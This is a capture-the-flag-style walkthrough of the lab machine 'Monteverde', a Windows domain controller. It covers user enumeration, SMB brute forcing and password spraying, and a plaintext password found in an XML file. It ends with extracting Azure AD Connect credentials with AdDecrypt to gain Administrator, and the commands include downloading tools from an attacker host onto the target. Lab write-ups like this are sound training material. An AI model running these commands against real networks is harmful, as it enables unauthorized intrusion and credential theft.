PRIMARY CATEGORY → MEDIUM

Summary

  • User Enumeration via RPC using rpcclient and Net RPC (both Samba Suite)
  • Listing the Domain Password Policy with netexec
  • SMB Password Bruteforce (user ↔ user) using netexec
  • SPN Enumeration via LDAP using ldapsearch
  • Listing SMB Shares with netexec and SMBMap
  • Information Leakage via SMB (Plain Password)
  • SMB Password Spraying
  • Domain Enumeration with ldapdomaindump
  • Extracting Azure AD Connect credentials located on SQL Server


Setup

Directory creation with the Machine’s Name

mkdir Monteverde && cd !$

Creation of a Pentesting Folder Structure to store all the information related to the target

mkdir {Scans,Data,Tools}

Recon #1

As mentioned, according to the TTL, It seems that It is a WINDOWS Target

Port Scanning
General Scan

Let’s run a Nmap Scan to check what TCP Ports are opened in the machine

The Scan result is exported in a grepable format for subsequent Port Parsing

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn --disable-arp-ping -oG monteverde.allPorts 10.129.228.111

Open Ports →

53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 5985, 9389, 49667, 49673, 49674, 49676, 49696 and 49749
Comprehensive Scan

We can apply a little filter to the monteverde.allPorts file to extract the ports and conduct a more comprehensive scan on them by extracting the services and their version running on each port and also executing some default scripts to gather more information

Note that this scan is also exported to have evidence at hand

nmap -p$( grep -ioP --color -- '\d{1,5}(?=/open)' monteverde.allPorts | xargs | sed 's@\s@,@g' ) -sCV -n -Pn --disable-arp-ping -oN monteverde.targeted 10.129.228.111
139, 445 - SMB

As always, let’s start enumerating the SMB service of the target, so we can have more information about it, such as the hostname, the OS Version and the domain name

nxc smb 10.129.228.111

The SMB signing is enabled, so an operator could not relay a victim authentication over SMB to the SMB Server

Said that, let’s start by adding the hostname and domain name to the /etc/hosts file in order to be able to perform certain attacks that envolves kerberos.

Since this service is closely related to DNS, we must reference the target using its hostname instead of the IP Address

printf "\n%s\t%s\t%s\t%s" "10.129.228.111" "monteverde" "megabank.local" "monteverde.megabank.local" >> /etc/hosts

For the time being, we do not have any valid domain credentials, so we cannot authenticate via SMB in order to list the available shares

But, it is always worth checking for the following primes →

  • Null Authentication
nxc smb monteverde --username '' --password '' --shares

But we get an STATUS_ACCES_DENIED error code

  • Guest Authentication
nxc smb monteverde --username 'guest' --password '' --shares

In this case, the guest account is disabled. It was to be expected as it is the default behavior

  • Random user Authentication
nxc smb monteverde --username 'anyRandomUser' --password '' --shares

Nothing here either

There is not much more we can do here, let’s move on!

53 - DNS

When we talk about DNS Enumeration on a DC, the Active Directory Integrated DNS (ADIDNS) comes into play

Any authenticated user account on AD can list any existent DNS record on the domain zone and create new ones

Since we do not have any valid credentials yet, we cannot list any DNS record, so right now we are limited to certain actions

One of them would be the Domain Zone Transfer. So, let’s carry out it

dig axfr megabank.local @10.129.228.111

But we get a “Transfer failed” error as we are not authorized to perform this action

135 - RPC

The RPC Endpoint Mapper is listening on this port. It maps any RPC Endpoint to an specific dynamic port or system named pipe

We can try another null authentication against the RPC Endpoint related to users, groups and so on

rpcclient --user '' --no-pass --command 'enumdomusers' monteverde | grep -ioP --color -- '^user:\[\K[\w\-_]+(?=\])'

And we are able to list all the domain user accounts

We can do this in a cleaner way as follows

net rpc user -U '%' -S monteverde

We can also list the description for all user accounts. There is sometimes sensitive information such as passwords, keys and so on

rpcclient --user '' --no-pass --command 'querydispinfo' monteverde

But there is nothing interesting

Since we already have a valid user list, let’s perform a kerberos-related attack

88 - Kerberos

Other times, when we could not get a foothold in the domain through null authentication, we have to leverage some kerberos error on the KDC responses in order to get valid user accounts

This action is usually performed using Kerbrute’s userenum module along with a userlist from statistically-likely-usernames

But, this time, as mentioned, we already have a valid user accounts list, so we can carry out an ASREPRoast attack using Impacket’s GetNPUsers.py

GetNPUsers.py -dc-ip 10.129.228.111 -usersfile ./users.list -no-pass 'megabank.local/'

All above user accounts do not have the USER_DONT_REQ_PREAUTH flag enabled on their UserAccountControl attribute. So, we will not receive any encrypted part from the AS_REP, which is encryped with a key derived from the user account password

The previous impacket tool returns the hash in hashcat or john format if any of the provided users is susceptible to ASREPRoast

Password Bruteforce

Right now, there is not much we can do except from enumerate LDAP

But, before that, let’s perform an SMB Bruteforce attack by providing as user and password list the same file

An operator must check the domain password policy to be aware of permanent or temporal account blocks

Let’s check if we can list this information via the null authentication

nxc smb monteverde --username '' --password '' --pass-pol

The interesting line is the following one →

Account Lockout Threshold: None

There is no threshold, so an attacker could perform a bruteforce attack without worrying about blocking user accounts

Therefore, let’s proceed as follows

nxc smb monteverde --username users.list --password users.list --continue-on-success

And we have a match!

Recon #2

88 - Kerberos

With valid credentials, the game changes completely. Now we have a broader framework for action

Let’s start with a Kerberoasting attack

As authenticated users, we can list all Service Principal Names (SPNs) registered in the domain. A domain account becomes a service account when it has one or more SPNs registered

Likewise, we can request a service ticket (ST) for an specific SPN to the Ticket Granting Server (TGS) of the Key Distribution Center (KDC)

Then, we receive a TGS_REP which contains basically two elements →

  • Service Ticket (ST)

It contains the Privilege Attribute Certificate (PAC) related to the user who requested the service ticket and the Session Key of the service ticket. This session key is used in the subsequent AP_REQ to encrypt the authenticator (timestamp)

The encrypted part of the service ticket is protected using a key derived from the service account password

  • Encrypted Part

It only contains the session key of the service ticket and it is encrypted using the session key of the presented Ticket Granting Ticket during the AS Exchange

Therefore, the kerberos client could decrypt this enc_part using the TGT’s session key

This is because the client cannot decrypt the service ticket as it is encrypted using a key derived from the service account password, so it only can obtain the session key by decrypting the encrypted part with the TGT’s session key

An operator could use Impacket’s GetUserSPNs.py

GetUserSPNs.py -dc-ip 10.129.228.111 'megabank.local/SABatchJobs:SABatchJobs'

But there are no SPNs for any domain user account

Take into account that it is always easier to crack passwords for user accounts than for computer accounts as the latter are randomly generated by default and, therefore, more complex

We can also extract all domain Service Principal Names via LDAP as follows

ldapsearch -LLL -x -H 'ldap://monteverde.megabank.local' -D 'SABatchJobs@megabank.local' -w 'SABatchJobs' -b 'dc=megabank,dc=local' '(servicePrincipalName=*)' servicePrincipalName | grep -i --color -- 'servicePrincipalName'

As expected, most of the existent SPNs are related to the FOREST$ computer account i.e. the DC

139, 445 - SMB

Now we have valid credentials, so we can list the available shares on the DC

nxc smb monteverde --username 'SABatchJobs' --password 'SABatchJobs' --shares

The above task can also be accomplished using SMBMap

smbmap -H monteverde -d megabank.local -u 'SABatchJobs' -p 'SABatchJobs'

There are three interesting shares →

  • SYSVOL

By default, this share is accesible to all authenticated users. It may contains some sensitive information such as plain passwords within a groups.xml file (Group Policy Preferences)

It is always recommended to inspect this share. I prefer to do this either using SMBMap or by mouting it

smbmap -H 'monteverde' -d 'megabank.local' -u 'SABatchJobs' -p 'SABatchJobs' -R 'SYSVOL'

But there is nothing interesting

  • azure_uploads

Judging by its name, it would be better to have write permission on it, so we could upload a malicious shell command file (SCF) with an icon reference pointing to an SMB Server controlled by us

Then, we could receive an authentication over SMB from the target if any user access to the local folder or share

But we only have read permissions, let’s what it contains

smbmap -H 'monteverde' -d 'megabank.local' -u 'SABatchJobs' -p 'SABatchJobs' -R 'azure_uploads'

Nothing here either

  • users$

This time we will mount it locally in order to inspect it propertly

mkdir mnt
cd !$ && mkdir users\$
mount --type cifs --options username='SABatchJobs',password='SABatchJobs' '//10.129.228.111/users$' users\$
find .

And we have an XML file called azure.xml

If we inspect its content, we find the following

cat ./users\$/mhope/azure.xml

It contains a plain password →

4n0therD4y@n0th3r$

Password Spraying

Since we have a valid user list, let’s perform a password spraying to see if we compromise another user account

nxc smb monteverde --username users.list --password '4n0therD4y@n0th3r$' --continue-on-success

And we have valid credentials for the user mhope

Recon #3

389, 636 - LDAP

It’s time for a more exhaustive enumeration of the domain objects such as users, groups, GPOs and so on

This could have been done earlier as we already had valid credentials

We will use ldapdomaindump.py for this task

git clone https://github.com/dirkjanm/ldapdomaindump ldapdomaindump
cd !$ && python3 -m venv .venv
source !$/bin/activate && pip3 install .
mkdir megabank_local.data
cd !$ python3 ldapdomaindump/ldapdomaindump.py --user 'megabank.local\mhope' --password '4n0therD4y@n0th3r$' --no-json --no-grep 'monteverde'

Next, setup an HTTP server in order to inspect the content of the generated files from the browser

python3 -m http.server 80
  • Users

The mhope user belongs to the Remote Management Users, which means that we can authenticate as him in order to establish a WinRM session to the DC and gain local access

Likewise, this user account belongs to the group Azure Admins. So now we know that some Azure solution has been deployed recently on the DC

From here, we should take into account things such as Azure AD Connect, Azure stored access tokens and so on. We can dig into it later when we access to the machine remotely

In the other hand, there are users that belong to non-standard groups (operations, helpdesk & trading), namely, smorgan, roleary and dgalanos

Let’s see if there is any nested group membership related to these groups

  • Users by Groups


Shell as System User

Since there is not much interesting information, let’s connect to the DC via WinRM and see what we can do

evil-winrm --ip 'monteverde' --user 'mhope' --password '4n0therD4y@n0th3r$'

Privesc

Initial Non-Privileged User → mhope

Extracting Azure AD Connect Credentials located on SQL Server Database

First, let’s list the privileges associated to the current access token

whoami /priv

None interesting

It is not necessary to list the groups to which the user belongs as we already know that

We can check for stored credentials on Windows Vaults protected by the Data Protection API (DPAPI)

cmdkey.exe /list

But nothing is displayed

We can also try to list autologon credentials

Get-ItemProperty -Path 'HKLM:Software\Microsoft\Windows NT\CurrentVersion\Winlogon' | Select-Object defaultDomainName, defaultUserName, defaultPassword | ft -Wrap

Nothing here either

Before running system scanning tools such as PowerUp.ps1 or WinPEAS, let’s explore the Program Files and Program Files (x86) directories to look for interesting installed/deployed software

dir "C:\PROGRA~1"

And there is a bunch of Azure AD stuff

As mentioned earlier, one that stands out from the rest is the Microsoft Azure AD Sync

The presence of this directory indicates that a synchronization may have occurred between on-premise AD and Azure using a type of Replication Directory Service (DRS) mechanism

This is related to Azure AD Connect. During its setup, an MSSQL database is created, which, in older versions, stored encrypted credentials that could be decrypted

Likewise, a privilege user account with a MSOL_ prefix is created and granted with DCSync-related rights over the domain object, namely Get-Changes and Get-Changes-All

The community created several tools that automate the database credential extraction and decryption

One of this tools is ADSyncDecrypt

Just download the ZIP file from the releases page, which contains the binary and dll file

Both files must be uploaded to the same directory on the target

From the Attacker
curl --silent --location --request GET "https://github.com/VbScrub/AdSyncDecrypt/releases/download/v1.0/AdDecrypt.zip" --remote-name
unzip AdDecrypt.zip
python3 -m http.server 80
From the Target
mkdir C:\Windows\Temp\ADDecrypt
cd C:\Windows\Temp\ADDecrypt
IWR -UseBasicParsing -Uri http://10.10.16.92/AdDecrypt.exe -OutFile .\AdDecrypt.exe
IWR -UseBasicParsing -Uri http://10.10.16.92/mcrypt.dll -OutFile .\mcrypt.dll

The binary must be run from the following directory in order to work correctly

C:\Program Files\Microsoft Azure AD Sync\Bin

So, just proceed as follows

cd "C:\Program Files\Microsoft Azure AD Sync\Bin"
C:\Windows\Temp\ADDecrypt\AdDecrypt.exe -FullSQL

And we have extracted another password

d0m@in4dminyeah!

The password is supposed to be the one for the Administrator user, let’s check it

nxc smb monteverde --username 'Administrator' --password 'd0m@in4dminyeah!'

And it is!

So, we can simply connect to the DC via WinrRM again and grab the content of the root.txt file located on the Administrator’s Desktop

evil-winrm --ip monteverde --user 'Administrator' --password 'd0m@in4dminyeah!'
Get-Content C:\Users\Administrator\Desktop\root.txt

Move on the next! 😊